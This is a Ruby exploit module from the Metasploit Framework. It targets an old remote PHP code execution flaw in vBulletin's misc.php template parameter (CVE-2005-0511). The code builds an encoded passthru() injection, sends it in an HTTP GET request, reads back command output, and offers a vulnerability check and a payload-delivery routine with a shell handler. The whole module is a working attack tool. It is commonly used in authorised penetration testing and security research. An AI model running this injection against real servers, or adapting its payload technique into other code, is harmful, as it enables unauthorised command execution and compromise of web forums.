##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  # XXX This module needs an overhaul
  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'vBulletin misc.php Template Name Arbitrary Code Execution',
      'Description'    => %q{
        This module exploits an arbitrary PHP code execution flaw in
        the vBulletin web forum software. This vulnerability is only
        present when the "Add Template Name in HTML Comments" option
        is enabled. All versions of vBulletin prior to 3.0.7 are
        affected.
      },
      'Author'         => [ 'str0ke <str0ke[at]milw0rm.com>', 'cazz' ],
      'License'        => BSD_LICENSE,
      'Version'        => '$Revision$',
      'References'     => [
        [ 'CVE', '2005-0511'],
        [ 'BID', '12622'],
        [ 'OSVDB', '14047'],
      ],
      'Privileged'     => false,
      'Platform'       => ['unix', 'solaris'],
      'Payload'        => {
          'Space' => 512,
          'DisableNops' => true,
          'Keys'  => ['cmd', 'cmd_bash'],
        },
      'Targets'        => [ ['Automatic', { }], ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Feb 25 2005'
      ))


    register_options(
      [
        OptString.new('PATH', [ true,  "Path to misc.php", '/forum/misc.php']),
      ], self.class
      )
  
    deregister_options(
      'HTTP::junk_slashes' # For some reason junk_slashes doesn't always work, so turn that off for now. 
    )
  end

  def go(command)
    wrapper = rand_text_alphanumeric(rand(128)+32)

    command = "echo #{wrapper};#{command};echo #{wrapper};"
    encoded = command.unpack("C*").collect{|x| "chr(#{x})"}.join('.')

    res = send_request_cgi({
      'uri'      => datastore['PATH'],
      'method'   => 'GET',
      'vars_get' =>
      {
        'do' => "page",
        'template' => "{${passthru(#{encoded})}}"
      }
    }, 5)

    if (res and res.body)
      b = /#{wrapper}[\s\r\n]*(.*)[\s\r\n]*#{wrapper}/sm.match(res.body)
      if b
        return b.captures[0]
      elsif datastore['HTTP::chunked'] == true
        b = /chunked Transfer-Encoding forbidden/.match(res.body)
        if b
          raise RuntimeError, 'Target PHP installation does not support chunked encoding.  Support for chunked encoded requests was added to PHP on 12/15/2005, try disabling HTTP::chunked and trying again.'
        end
      end
    end

    return nil
  end
  
  def check
    response = go("echo ownable")
    if (!response.nil? and response =~ /ownable/sm)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    response = go(payload.encoded)
    if response == nil
      print_status('exploit failed')
    else
      if response.length == 0
        print_status('exploit successful')
      else 
        print_status("Command returned #{response}")
      end
      handler
    end
  end
end